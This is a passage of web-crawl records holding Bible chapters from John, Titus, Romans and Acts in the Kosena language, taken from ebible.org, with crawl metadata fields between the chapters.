Kápénéamu-naopaken-kwaasigo ááninkomba áí'a kwéuwana\n47 Ísu Yútiyaa-ayampakemba Káríri-ayampa'a tiráin-aimba iséna Ísunopa'a téna séna kesááninko puwíndayavena kwéisa'a úmpo kesí naaópa'a kuré koasóvamankaniyono súwana\n48 Ísu séna ímo ó'om-bayai-awaame'o awáné'o é'a íma kesááiyave'a áraire sénááowe súwana\n49 anóndakoo kesáánimba puwíndayavena kwéimba avekáán-umai tiyó súwana\n50 Ísu séna enáánimba asóvagwivo kwaaó súwana Ísun-aaiyavena áraire séna kúmba\n51 aampa'á kúmba kwená mayáí-kwáásí tésa sésa enáánimba áí'a éránkaraiye suwaná\n52 tísaa ena séna kesáánimba nósa-tawaiya áí'a éránkaraiyo súwasa sésa tíndauma kwáyá'wái kokotámba éránkaraiye suwaná\n53 avowámá imáyáa éna séna mitáwai enáánimba asóvagwiyemo siráimba árai'a siráiye súmba pósa kwená akúmpákén-kwáásí amápa'a Ísun-aaiyavesa áraire siráawe.\n54 Yútiyaa-ayampakemba Káríri-ayampa'a komáyomba moóráma kawe'-máyáí-áwáámé'á uréna minká'á miníyámpóígómbá asóvamankowasa kwená akúmbá áraire siráawe.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ebible.org\/study\/content\/texts\/kze\/JN4.html","date":"2023-10-03T00:34:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233511023.76\/warc\/CC-MAIN-20231002232712-20231003022712-00261.warc.gz","language":"kze","language_score":0.9999847412,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 0.9999847412109375}","num_words":748,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.168,"stopwords_ratio":0.218,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2\nÁánútumpa'a námúnaa sen-kwásáí.\n1 maarán-áímbá simátimiyo sé'a kwésimamune. Áánútumpa'o námúnaamo kwésemba anón-tantaa'an-iye. mindáyavesa námúnaamo kwésemba Áánútu amápa-kwaasi túwa'naa ínkwáe sésa kwéaisaa-esa súwi kwésewe.\n2 Áánútu anón-kwaasiye kenká'á kárákwiraan-kwaasiye túwa'naa ínasa námúnaa síyamba paru umáíya moórávinta méta Áánútuntaveta imáyáa éta arupí umáíya ménaumne.\n3 mirán-dámúnáámó sembá Áánútu aúranka'a kawe'á umái sewaná póna aamoí éna kwemá sáwí-imayaavinkembo iyásínkáiwaiya póna aamoí kwéiye.\n4 Áánútu amáparawai sáwí-imayaavinkemba iyátinkainasa kwená árair-aimba isánááontavena arááíma kwétaiye. miráyávésamo amápa-kwaasiyavesamo imáyáa ésamo Áánútumpa'o námúnaamo kwésemba kawe'án-iye.\n5 Áánútu mimbóráwáí máyáísana Áánútuwe kwená kwaásiyeti avumpimbó máyáimba mimbóráwáí ména minkwáásígó áwí'a Ísu Káráísiti ména kwaási Áánútunte kwétarutinkena\n6 amáparawai sáwí-imayaavinkemba iyátinkanaumne séna taaira'á pukáiye. Áánútu amáparawai kentí sáwí-imayaavinkemba iyátinkanaumne séna mirán-kánáá tíníye siráimba póna Ísu Káráísitimba ai'marówana kumpukáiye.\n7 miráumai Áánútu simásimena séna aantá-kwaasi-i'a éma ó'onkaa-kwaasi simátíma'mae naauwó séna si'marówa'a kwená árair-aintavesa áraire sénááontave'a simátíma'mae'a kwéiyune. mináímbó súnda íma kampar-áímbá kwésumpo árair-aimba kwésune.\n8 naaó'-naoken-kwaasi tayorupamái mésa Áánútuntavesa imáyáa ésa íma áwáá'a sésa íma aaisambá sésa námúnaa sénááontave'a mirán-oro kwésune.\n9 tayorupamái mésamo Áánútuna imáyáamo mósá maránááomba aaraimá maarámó iíyávéna sirááíma kwétaiye. íma túma maé iyésa kawe'á umái unáánkwátói ésa kwaási aráá'a súrampimba sivúwóvo sésa íma konaarirí ésa\n10 íma mirá-sáwí'á ésa kawe'-máyáíyé su'mai máéwasa tuwánanaaowe. aaraimó kesáváímó sésamo Áánútuntave'a imáyáa kwéune sen-ínímbó kawe'-máyáímó kwémayaantemba mirán-oro.\n11 aaraí íma túma maé iyésa aánoumai mésa Áánútun-aaimo kwésen-kwaasi táái isánááowe.\n12 aaraimá íma kwaairá'á kárákwiraawai mésa kwaai túranka'a íma komésa aaí kwésimatimesa aánoumai máyáawe kwésune.\n13 naaóvá'á Áánútu Áándamumba aiva'á úmarena naaémba awainínkómbá Ívimba úmakaintave'a mináímbá kwésune.\n14 Sáátáánigo íma Áándamuntavena siráivo Ívintavena kampar-áímbá simámuwana áraire séna aiva'á Áánútun-aai káráyukaiye.\n15 ánivo aaraimá iyámpóímo matínkáiyambo éna sáwí'a umái mémpinkemba Áánútu tiráníye. aaraimó Áánútunka'o agevamáímo mésamo kwená imáyáamo ésamo arupí umáímo aánoumaimo maí'mai'o úmae iyésamo mirámó íyanamo éna Áánútu sáwí'a umái mémpinkemba tiráníye.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ebible.org\/study\/content\/texts\/kze\/T12.html","date":"2023-10-03T16:21:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233511170.92\/warc\/CC-MAIN-20231003160453-20231003190453-00152.warc.gz","language":"kze","language_score":1.0000089407,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 1.0000089406967163}","num_words":274,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.237,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"5\nÁánútu arupíya umásínkáin-kwasai.\n1 Ísu Káráísitin-aaiyaveta áraire súndayavenaya Áánútu kwenaúranka'a arupíya umásínkarenaya Ísóigo Ísu Káráísitina mayáímá imáyáa éna paru kwéumasinkaisata mimbóráí'a umái kwémaumne.\n2 Ísu Káráísitin-aaiyaveta áraire súndayavenaya Áánútu úwoi kwésuwa'naa-ipata mósinkaraisata méta Áánútuwe ságayan-ayampata ménaundayaveta amu'maréta máyaunanaya sirunkóyá aamoí kwéiye.\n3 umbai-yántáá'ó kesópata kwáyáimba sirunkóyá aamoí isatá minúmbáí-yántáá'á kwáyáintaveta asiramái méta íma sívón-káínta\n4 mindáyavena Áánútu séna kawe'á umái máyáawe sisatá mindáyaveta kwesé ménaundayaveta amu'maréta máyaunana sirunkóyá aamoí kwéiye.\n5 kwesé ménaundayaveta amu'maréta máyaundaya kentááyávéna íma awinkánímba póna íma sigaeyá íníye. Áánútu kwenamankómbá ai'marówana keséya kumbéna Áánútumo kentááyávénamo anón-imayaamo imbá kwéagaraasinkaimba póta kwesémo ménaundayaveta amu'maréta máyaunanaya póna íma sigaeyá kwéiye.\n6 kesáá íma asiramái máyaawananaya Áánútumo siráin-kanaamo tiráimba kesáámó sáwí'o umáíyaamo máyaundavinkembo kusúwa'naa índayavenaya Ísu Káráísiti kumpukáiye.\n7 arupí-kwaasigombo áwa'naa ónaundayave'a puwónáe senkákáí umbaí taisinó. kawe-kwáásígómbó áwa'naa ónaundayave'a kwená anondá puwónáe sésa púwósino. íya púwósino. íma isáúmne.\n8 ánivo kesáámó sáwítaamo umáíyaamo máyaundaya súwa'naa índayavenaya Ísu Káráísiti kumpukáiye. Ísu Káráísiti pukáimpinkemba Áánútu arumbó símímba mindá kwéagaraasinkaintaawe.\n9 Ísu Káráísiti kentááyávéna imáyáa éna pukáintavena Áánútu aúranka'a arupí umásínkarainta pónaya Káráísiti árai'a kentáásí sáwí-meyamba maisíyukaintavenaya Áánútu íma áwáá'a siyíníye.\n10 kesáá Áánútumbo síyámba umánkaraundaya kwenááninko kentááyávéna imáyáa éna pukáimba póta Áánútuwe mimbórá-ímáyáávátá máyaundaya miráumai Ísu Káráísiti úwoi ména póna árai'a kawer-ámpá'ó kwégundayavenaya kwégarakwiyiye.\n11 íma mináíné su'mainivo maarán-áínkwárá'án-iye. Ísóigo Ísu Káráísiti Áánútunte mimbóráí'a umásínkáísanaya póna Áánútuntavena kesirunkóyá aamoí kwéiye.\nÁándamunte Ísuntei kwaasái.\n12 maarán-áímbá ísáaro. aiva-kwáásígó Áánútun-aai arááíraimba póna sáwí'o kwéon-amba paáruraiye. sáwí'a uráimba póna púwón-amba paáruraiye. amáparawai sáwí'a kwéomba pósa púwón-ampa'a kwégowe.\n13 Áánútumo Mósesimbo ámáámbo ímo simámakonka'a kwaási sáwí'a uráamba isaná Áánútu misáwí'ó uráan-aimba íma agaimakáiye.\n14 aiva'á Áándamu máyowasa matinka-matinka úmaesa tunka'á Mósesi usá máúnka-kwaasiyomba pukáawe. Áándamu Áánútun-aai arááírowasa kwempínkén-kwáásí évakarawai íma mirá umbá sáwí'a umbá pósa pukáawe.\nÁándamu naaémbo paáriniwaimo ínínteni'a éna Káráísitimo évaka-tantaa'o ínínteni'a íma uráivo\n15 sáwí'a uráimbanivo Áánútu úwoi kwésuwa'naa-intaawe. Áándamu Áánútun-aai arááíraimba pósa amáparawai pu'maé kwéiyomba árair-aimban-ivo Áánútu amáparawai úwoi túwa'naa íníntavena moóráwaimba Ísu Káráísitimba ai'marówana kuména kawe'á umátínkáva'a kwéiyimba minánkó usáyaaitaraiye.\n16 Áándamu aiva-kwáásígó sáwí'a uráinkakemba amáparawaiya sáwí'a úmae kwéiyunanaya Áánútu íma mirá éna kawe'á kwéumasinkaintaawe. aiva-táwai aiva-kwáásígó Áánútun-aai arááírowana Áánútu séna sáwí'a ónda po puwíníyone séna naaémba sáwíva-kwaasi sáwí'a uwaná séna úwoi túwa'naa e'a kesúranka'a arupí umátinkanaumne siráiye.\n17 Áándamu aiva-kwáásígó sáwí'a uráinkakemba amáparawai puwí-ámpá'á kwégwaraawana minánkó tátokaivo moóráwai Ísu Káráísiti maarán-ánón-káwé'-máyáí mairáiye. Áánútuntavesa súwa'naa uwo sewáí úwoi kawe'á umái kwétuwa'naa-ena kwenaúranka'a arupí umái kwéumatinkaisana Káráísiti túwa'naa isasá asiramái mésa sáwí-mayaigomba kwéusayaaitaawe.\n18 ánivo mináínkóná ááimba maarán-áímbán-iye. aiva-kwáásígó sáwí'a urónkakemba Áánútu amáparawaiyavena séna sáwí'a kwéesa puwónááowe siráimba póna moóráwai Ísu Káráísiti kawe'á urónkakemba sáwí'o uráampinkemba iyátinkena aúnái'o umáímo maí'mai'o ónááoni'a kwéumatinkaiye.\n19 aiva-kwáásígó Áánútun-aai arááíronkakemba amáparawai sáwí'a uráambanivo moóráwai Ísu Káráísiti Áánútu siráini'a urónkakemba Áánútu kwenaúranka'a sáwívarawai arupí kwéumatinkaiye.\n20 sáwí'a umbá Áánútu kwená ámáámba Mósesimba simámakomba mindáyavena miwítí sáwí-mayaigo anómba uráiye. mirá umbánivo Áánútu arumbá umátínkámae iyúwana anómba uráiye.\n21 ááéma sáwí'o urón-imayaago tátokowasa pósa puwí-ámbá kwakáawe. mirá uráambanivo ívé'a Áánútumo arumbó kwéumasinkaiwaiya tátoraisata kwenaúranka'a arupí umáíya máyaundaya kentáásí Ísóigo Ísu Káráísiti aúnáitaamo umáíya maí'mai'o ónaunda-ita kwéumasinkaiye.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ebible.org\/study\/content\/texts\/kze\/RM5.html","date":"2023-09-21T19:20:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506029.42\/warc\/CC-MAIN-20230921174008-20230921204008-00023.warc.gz","language":"kze","language_score":1.0000082254,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 1.000008225440979}","num_words":466,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.232,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"9\nSóro Ísun-aaiyavai áraire siráin-kwasai.\n1 minkánáámá Sóro Ísóigona aampa'á kwéguwaiyavena arumbá sáwí'a éna tínkamonae síma-sima'a kwéena aiva'-mónó-káwáánákónópa'a\n2 koáísaa ena séna aúvái agaimái símína'a maimaé'a Támásikasi-naopa'o Yútaa-mono'-naumpimpa'o máyáan-kwaasiti anón-kwaasi mátíméno súwana owé séna mináímbá agaimaréna séna Sóro Ísuna aampa'á kwégwiyawai tivakáá-umai tuwánéna táto'mai tí'maena teémena Yérúsaremuva'a ándáva'a mátiyuwaniye séna agaimaréna súwana\n3 Sóro mináúváí maimaéna kweémena Támásikasi-naopa'a egwaa'á kúmba kwíyómpakemba ságayamba tawáonkaan-tantaa'a tuwówana kuména aúgáyáagaya úwana\n4 tuvamúwana aaigówé su'mai séna Sóroo nóra séwa kembá sáwí'a kwéono súwana\n5 emá nááwa seénó súwana kemá Ísuma súmpo kembá sáwí'a umásinkaampo\n6 usásine Támásikasi-naopa'a koménana moóráwaimo síndantemba mirán-uwo súwasa\n7 Sóroemo kun-kwáásí íma aaí sumbá mésa íma kwaási ane'á kwéawanesa aaimó súne su'mai ísówana\n8 Sóro usásinomba aúramba íma kawe'á umái awánówasa kwaási ayáán-to'maesa Támásikasi-naopa'a máánkarowana\n9 kaumbo-nó'wáámbá ména íma aúramba awánéna toómbá nombá íma naráiye.\n10 Sóro kaumbo-nó'wáámbá kwaúwana moóráwai Támásikasiva'a ména Ísuna aampa'á kúwai áwí'a Ánánáesima aúramba karákéna kaainkáání'a umái awánómba Ísóigo simámena séna Ánánáesiyo súwana wó séna Ísóigoo kemá úne súwana\n11 usásine aampa'á kwaaó. minánkó áwí'a apumó uráin-ampa'a kuré Yútásina naaúmpa'a kwée moóráwai Táásási-naopakewai áwí'a Sóromba koawánaao. kwe námúnaa kwésiye.\n12 kaainkáání'a awánarainka'a moóráwai áwí'a Ánánáesi téna ane'á tátoraisana aúramba kawe'á umái awánaraiye Ísóigo súwana\n13 Ánánáesi séna Ísóigoo sáwíva-kwaasi kwenáái simásímakaawe. Yérúsaremuva'a ená kwaási sáwí'a umátínkarain-aimba simásímakaawe.\n14 aiva'-mónó-káwáánákó aúvái agaimái ámísana ená imáyáa mósá máráan-kwaasi ándáva'o tiyuwáíndayavena Támásikasiva'a tiráiye súwana\n15 Ísóigo séna kesí mayáí áménana kesáái kosimátin-tasimatimba ó'on-daopaken-kwaasiye kawáá-kwáásíyé kesí kwaási Ísareri-kwaasiye kosimátin-tasimatimba ínímba po usásine kwenópa'a kwinaná\n16 kesí mayáí Sóro kwémayainasa kwaási sáwí'a umánkanaaowe. mindáyave'a ke agaráárankanaumne Ísóigo siráiye.\n17 súwana Ánánáesi iséna kwéna sún-daumpa'a uména Sóro ane'á ayáámba tátorena séna Sóroo kesí kwaásima óne. aampa'á kwéte Ísóigo Ísumba awánaraandawaima si'máráísa'a túne. aúramba kawe'á umái awánenana Áánútun-amanko arupimbá anómba umánkaindayavena si'máráísa'a túne súwana\n18 Sóro aúrampinkemba amanonoí tákúwana aúramba kawe'á umái awánéna usásinowana Ánánáesi mono'-nómbá pérankowana\n19 toómbá násuwena áúgoma kawe'á úwana méraiye.\nSóro Támásikasiva'a simátímakain-kwasai.\nSóro Támásikasiva'a évaka'-no'waamba kwaéna Ísuna aampa'á kwéguwaise ména\n20 avekáán-úwana mono'-náúmpá'á uména Ísun-aai simátimena séna árai'a Ísuma Áánútu áánimban-iye súwasa\n21 kwenáái ísón-kwaasi táátavai ésa moórá-morawai tísaaisaa esa sésa Yérúsaremuva'a Ísuna imáyáa mósá máráan-kwaasi tínkamin-kwaasiman-iye. Ísuna imáyáa mósá máráan-kwaasi tí'mae ándáva'a mono-káwáá-kwáásírá'ó mátinkanae séna maanká'ó tiráin-kwaasiman-iye. Ísumpa'a téna máyáiye sésa táátavai uráawe.\n22 suwaná Sóro asiramái simátíma'mae iyéna séna árai'a Áánútumo usásinankaiwaimba amu'maráúndawaiya Ísuman-iye séna kwenááigo iyúwasa Támásikasivaken-Yutaa-kwaasi isésa kwembá íma anondá simámakaawe.\n23 íma anondá simámúmba sáwíva'-no'waamba kwaésa torupamái mésa Sórona ámááyu-aimba sésa\n24 tuvuwíyanesa no'wáámba kwáyá'wái Támásikasi-naokona óntan-kurigona aaumémpa'a mésa ontará'á takárákwi-karakwi kwéuwana moóráwai ámááyu-aimba sumbá kosimámuwasa\n25 moórá-no'waamba Sóron-aai isésa Ísuna aampa'á kwéguwai Sóromba powaivímbá áítumai óntan-kurigona avaapimbá túsúyuwesa ándára tátoresa túwówana kumeémena marapá'á móruna tuwéna kóuraiye.\nSóro Yérúsaremuva'a komérain-kwasai.\n26 Sóro Yérúsaremu-naopa'a kweémena kwéna séna Ísuna aampa'á kwégowaise koménae'a kúne súwasa miwí sésa Ísun-aai íma ísaraiwai kampar-áímbá kwésiye sésa kwenáároi inkáísúwana\n27 moóráwai áwí'a Páánápáasi Sóron-aai iséna kawe'á úwana áí'maena aantá-kwaasitopa'a kwéna Sóron-aai kosimátimena Sóro Támásikasi-ampa'o kwégwenamo Ísóigombo awánówana aaí simámakain-aimba simátimena Sóro Támásikasi-naopa'o Ísun-aaimo asiramáímo simátíma'maena kuráin-aimba simátimuwasa\n28 isésa áraire suwaná Sóro miwísé ména Ísuna asirayámbá kwáyowana Yérúsaremu-naopa'a Ísun-aai asiramái kosimátin-tasimatin-ena\n29 ó'on-Yutaa-kwaasi Kíríki-kwaasi tááivinkemba kwésen-kwaasi simátimuwasa aaí kwésima-kwesiman-esa tuvuwónáe sésa\n30 ámááyu-aimba sumbá Ísuna aampa'á kuwáí isésa Sóromba áí'maesa kweémesa Sísáriyaa-naopa'a máankesa sésa Táásási-naopa'a kwaaó sésa ai'márówana mindáópa'a kóuraiye.\n31 kóúwasa Ísuna aampa'ó kun-kwáásímó tínkamumba étínkówasa aánoumai kwempa'á maésa Yútiyaa-ayampa'a Káríri-ayampa'a Sámériyaa-ayampa'a Ísuna aampa'á kwéguwai aánoumai kwempa'á máyówana Áánútun-amankoma túwa'naa úwasa asiramái mésa Ísun-aai simátímúwasa isésa áraire sésa mirá kwéesa sáwíva-kwaasi-i'a ésa Ísóigo áwí'a mósá marésa kwenaísamaivimba méraawe.\nPítaa Árítaa-naopa'a kuráin-kwasai.\n32 Pítaa aampa'á kwénaaena naaó'-nao-kwaasiti naaópa'a kwéna Áánútuna kwaási tuwánáíndayavena Árítaa-naopa'a kúmba\n33 moóráwai áwí'a Íniyasi ména aambó naaí íma naaéna avakaumboé-ima maisuwéna naaúmpare su'mai ména kwégwauwana\n34 Pítaa awánéna séna Íniyasiyo Ísu Káráísiti asóvamankaivo usásinke ená kwandaaí arusaaó súwana usásinkwena kúwasa\n35 Árítaa-naopaken-kwaasiye Séróno-naopaken-kwaasiye amápa'a awánésa Ísóigompa'a tésa méraawe.\nPítaa Yópaa-naopa'a kuráin-kwasai.\n36 Yópaa-naopa'a moórá-ininko ména áwí'a Tápítaama póna Kíríki-kwaasi tááivinkemba mináwí'a Tókáasiye kwésuwana kwemá Ísuna aampa'á kún-inimba aasiyaaí kawe'-máyáí kwémaena óísamba íma makón-kwaasi kwétuwa'naa úwana\n37 áí'a úwana puwúwasa kwenáúma sese umásuwesa maimaésa ávúmayaatanaan-daumpa'a móankaraawe.\n38 Yópaa-naopakemba Írítiyaa-naopa'a egwaa'á pósa Yópaavaken-kwaasi Ísuna kwaási Pítaa Írítiyaava'a tamáyon-aimba isésa kae-kwáásí ti'márówasarai Pítaamba kosimámesarai sésarai isaaisé kesópata tiyó sésa si'máráawakai túye suyaná\n39 Pítaa usásinena mindáraise kúwasa áí'maesa minínímbá puwúwasa matuwé máyón-daumpa'a ávúmayaatanaan-daumpa'a íyúwasa Pítaanopa'a ketorínímbá tayorupamái maésa íví'a tésa Tókáasi íma pukáinka'a aru-símakain-unankwatoiye sésa agarááránkówana\n40 awánéna séna máápa kárúwaaro súwasa kúmúwana Pítaa kívairena Ísóigompa'a námúnaa simásuwena mégwantena minínímbá awánéna séna Tápítaao usásinaao súwana aúramba kwégararena Pítaamba awánéna usátorauva'a maúwana\n41 Pítaa kousásinankena Ísuna aampa'á kun-kwáásíyé ketoríníné tááyowasa áúvamankomba uawánésa\n42 Yópaa-naopa'a kosimátíma'maesa kuwasá isésa sáwíva-kwaasi Ísóigon-aaiyavesa áraire sésa kwenká'á aráápamai máyówana\n43 Pítaa Yópaa-naopa'a sáwíva'-no'waamba kwaéna moóráwai áwí'a Sáímoni kwená naaúmpa'a máyowana minkwáásígó kwaan-áúwarasinei kwená mayáí mayón-kwaasigona naaúmpa'a méraiye.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ebible.org\/study\/content\/texts\/kze\/AC9.html","date":"2023-09-26T06:01:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510149.21\/warc\/CC-MAIN-20230926043538-20230926073538-00786.warc.gz","language":"kze","language_score":0.9999006987,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"kze_Latn_score\": 0.9999006986618042}","num_words":728,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.169,"stopwords_ratio":0.161,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"16\nTímóti mindáraiye kuráin-kwasai.\n1 Pórowe Sáírásiye mirá uyambá Tépi-naopa'a Árísitaa-naopa'a kuyaná moóráwai áwí'a Tímóti mindáópa'a ména Ísuna aampa'á kwéguwai úwana anówama Ísuna aampa'á kwégun-inimba Yútaa-inimba úwana avowámá Kíríki-kwaasi úwana umái máyówasa\n2 Árísitaa-naopakewai Áíkóniyaa-naopakewai Ísun-aai ísówai Tímóti áwí'a mósá makáawe.\n3 avowámá Kíríki-kwaasi póna áúra'a íma kárámai araa'éna urómba pósa Yútaa-kwaasi mináyámpá'ó máyáan-kwaasi mirán-áímbá ísówana Póro séna Ísóigona mayáírá'á Tímótimba airánáe séna Yútaa-kwaasi aamoí ígwáe séna Tímótimba áúma kárámarena\n4 áí'maena naaúwasa naaó'-nao'a kwénaaesa aantá-kwaasiye Ísóigona kwaásiti anón-kwaasiye Yérúsaremuva'a siráan-aimba Ísóigona kwaásiyavai simátíma'maesa kweésa sésa mináímbá ísáaro suwasá\n5 Ísóigona kwaási Ísumpa'a asiramái mésa ó'on-kwaasi simátíma'maesa kuwasá isésa aasiyaasi-táwai évakarawai Ísun-aaiyavesa áraire sinté kwégwesa sáwíva-kwaasi-i'a uráawe.\nPóro kaainkáámbá awánarain-kwasai.\n6 Pórowe Sáírásiye Tímótiye Vírísiyaa-marava'a Kárésiyaa-marava'a kwénaaesa Ésiyaa-marava'a áséi-kwasai kosimátimenae sumbá Áánútun-amanko íma kónááowe súwasa\n7 isésa kweémesa Mísiyaa-maragona oóvímbá kwésa Pítíniyaa-marava'a kónáe sésa uwaná Ísun-amanko íma kónááowe súwasa\n8 isésa Mísiyaa-marava'a kómaatesa kweémesa Táróasi-naopa'a kumbésa\n9 no'wáámba Póro kaainkáámbá awánówana Másétóniyaa-maravaken-kwaasigo koku'á taména séna Másétóniyaava'a tasúwa'naa uwo asiramái súwana\n10 Póro kaainkáámbá awánéna simásimuwata usásineta séta Másétóniyaa-kwaasiya áséi-kwasaiya kosimátimunanaya Áánútuya kwésaayaisata Másétóniyaava'a kónáeya siráundayaawe.\nÁrítiyaama Ísumpa'a tiráin-kwasai.\n11 séta Táróasi-naopa'a nompí-sípí táto'mai usáateta kówánanaya mindómpí-sípígó apu úmaena kúwata Sámóteresi-marava'a kogwaéwándaya usá aaváyaavimba kweémeta Níápórisi-naopa'a marapá'á kunásáveta\n12 minkákémbá Vírípai-naopa'a marapá'á kuráundayaawe. mindá Másétóniyaa-marava'a anón-daopa'a Árómáani-kamaani-kwaasi kárákwiraan-daopa'a évaka'-no'waamba kógwaeta\n13 Yútaa-kwaasi monor-áímbá kwéison-kanaa túwata imáyáa éta Yútaa-kwaasi nonawámpá'á torupamái mésa námúnaa kwésewe séta naaópa'a tuwéta nonawámpá'á kumówándaya aaraiyómbá torupamái máyówata kumbéta simátimewanasaya\n14 isésa uwaná moórá-ininko Táyátaira-naopaken-ininko áwí'a Árítiyaama kwená mayáí óoraan-tantaa'a ampantará'á tásuwena kwétimena óntamba kwémaena kwemá Áánútuna imáyáa éna kwenáwí'a mósá makón-inimba Ísóigo imáyáa amúwana Póron-aai kawe'á umái isówana\n15 minínínkógwárá kwená akúnkwárá'á nombá pétinkowana minínínkó séna kentáváí sé'a Ísóigon-aaiyavena áraire séna Ísumpa'a asiramái máyáin-ininkoman-iye sé'a kesí naaúmpa'a taménaaowe asiramái súwata kwená naaúmpata koméraumne.\nPórowe Sáírásiye ándáva'a máyóyan-kwasai.\n16 moórá-arasi mayáí kwémayon-arasigomba évakarawai óntamba tuwésa meéyán-uráan-arasigomba taraváá-kwámbá kwenarumpimbá máyowana évaka-kwaasitopa'o naaémbo kwínín-aimba simátimuwasa óntambo ámúmba kwembó meéyámbakaan-kwaasi timúwasa maémáémbani. moórá-tawai námúnaa kwésupa'a kumówánanaya minárásígó suwánéna\n17 Póronte kenté sínaaemba kwa'maéna kwégwena anónka'a séna Áánútu kwíyómpa'a máyáiwaina mayáí kwémayaan-kwaasiman-owe. Áánútu sáwí'o umáímo máyáampinkemba kawer-ámpá'á mégwétinkain-aimba kwésimatimewaiman-owe minárásígó séna\n18 sáwívaka'a kwa'maéna kwégwena mirá súwana Póro arumbá umbaí tówana mégwantena kwenarumpimbó máyon-taravaa-kwankontavena séna Ísu Káráísitina asirayámbá kwáyáintavai égési umái sé'a minárásí auwé kóaao súwana avekáámbá auwéna kóúwasa\n19 minárásígómbó meéyán-uráawai awánésa tirunkó sáwí'a úwasa sésa íma kawer-óntámbá mayánaumne sésa Póronte Sáírásinte tiyáánka'a táto'mai tavisímaesa naambárupa'a kawáá-kwáásítópa'a mátinkesa\n20 Árómáani-kamaani-kwaasitop'a mátinkesa sésa maandárai Yútaa-kwaasirai kentáásí naaópa'a sáwí-mayai kwémayaaiye.\n21 kentáásí ámáámba kwégaresarai ó'on-ampar-amaamba kwéseye. maandáraimo séyan-amaamba íya kwaránaumpo Árómáani-kwaasiti ámáámba kwaránaumne suwasá\n22 sáwíva-kwaasi taúkúmaresa anónka'a símae iyésa sésa áraire suwasá kawáá-kwáásí mindáraiti unáánkwátói tarátiyuwesa sésa kunánaandei tínkamoro suwasá\n23 ávááraumai tínkambaresa tavisímaesa ándáva'a avúsúyuwesa ándáva'o kárákwiron-kwaasiyavai sésa ontará'á kárákwimai mindárai kawe'á uwo suwaná\n24 avumpin-dáúmpá'á móavusuyuwena tísamairai taaí umairéna aráápamarena ándánei kárárumarowasarai méraaiye.\n25 mésarai no'wáán-avuntamba Pórowe Sáírásiye námúnaa kwésesarai Áánútuna imá kwésuyasa ándáva'o máyón-kwaasi ísówana\n26 avekáámbá anóm-barima tówana naamayáámbá karekó'a umágúwana amápar-ontama tigúwana ándáva'o máyón-kwaasi tíyayaampimpaken-andama kweyááríka'a ayúkúwasa\n27 ándá-naumpa'o kárákwirowai aúmá kwáyomba póna usásinena awánómba ontan-tigurówana usáawanena séna ándá-kwaasi kóuraawe-imayaa éna anón-kwaasigon-aaroi inkaiséna kwená taánasatama mósá taúkéna kwenáúvimba agaiváíndayavena úwana\n28 Póro awánéna anónka'a séna íma mirán-uwo. kesáámá amápata úwoiya máyaumne súwana\n29 ándá-naumpa'o kárákwirowai kwená kwaásiyavai séna oómbá kúra-simero súwasa kúrar-amuwana avekáán-umai ándá-naumpa'a iyúmba ayántámbá kwétowana anóndaraima óye séna Póronte Sáírásinte tísamaivimba kumbaéna\n30 usásinena tí'maena máápa'a kumbéna séna nóra onaná sáwí'o umáímo máyaundavinkemba Áánútu kawer-ámpá'á mésinkaniyo súwasarai\n31 mindárai sésarai Ísóigo Ísu Áánútumpakemba kunkáiwain-aaiyavai áraire sinaná ewé ená akúné sáwí'o umáímo máyáampinkemba kawer-ámpá'á métinkaniye simámesarai\n32 minkwáásíyómbá Ísóigon-aai simátímúyasa isésa\n33 mindó'wáán-avuntamba ándá-naumpa'o kárákwirowai tí'maena tirósáánumpar-avima kwésese umátiyuwena mitáwai kwesé kwená kwaásiye mono'-nómbá pékaawe.\n34 nombá pé'maena Póronte Sáírásinte tí'maena kwená naaúmpa'a mátínkarena toómbá timúwasarai kwénoyasa kwewé kwená akúné Ísun-aaiyavai áraire siráamba pósa tirumbá kawe'á umái méraawe.\n35 máyówasa usá aaváyaavimba Árómáani-kawaa-kwaasi i-kwáásí ti'márówasa ándá-naumpa'a kwésa sésa mindárai ayútínkénasarai kókaiyo suwaná\n36 ándá-naumpa'o kárákwirowai Pórontavai séna Árómáani-kawaa-kwaasi i-kwáásí ti'márááwasa tésa sésa Póronte Sáírásinte ayútinkaao sembá pókai ayútínkáanakai tirumbá kawe'á ínakai kokaiyó súwana\n37 Póro i-kwáásíyáváí séna íma kawer-áímbá sésa kempímbá íma kwáyáin-aimba simái kunánaantamba sínkamesa ándáva'a avúsúyukaawe. Árómáani-kwaasiti aúváíma tokáuyan-kwaasi úyambanivo sínkamomba uwóví'a ésa minámáámbá káráyukaawe. ívé'a aúpá'á ayúsinkai-imayaa owakáí íma mirá óyauye-imayaa ékai Árómáani-kawaa-kwaasi kesópa'a tésa ontá tayisúwéwakai kóyauye Póro súwasa\n38 i-kwáásí isésa koyauwerésa Póron-aai tasimátimesa Árómáani-kwaasiti aúvái tokááin-kwaasiye simátímúwasa isésa táátavai ésa\n39 ándá-naumpa'a komésa sésa keinárai Árómáani-kwaasiti aúváíma tokááyan-kwaasi óyata íma ísareta úwoiya 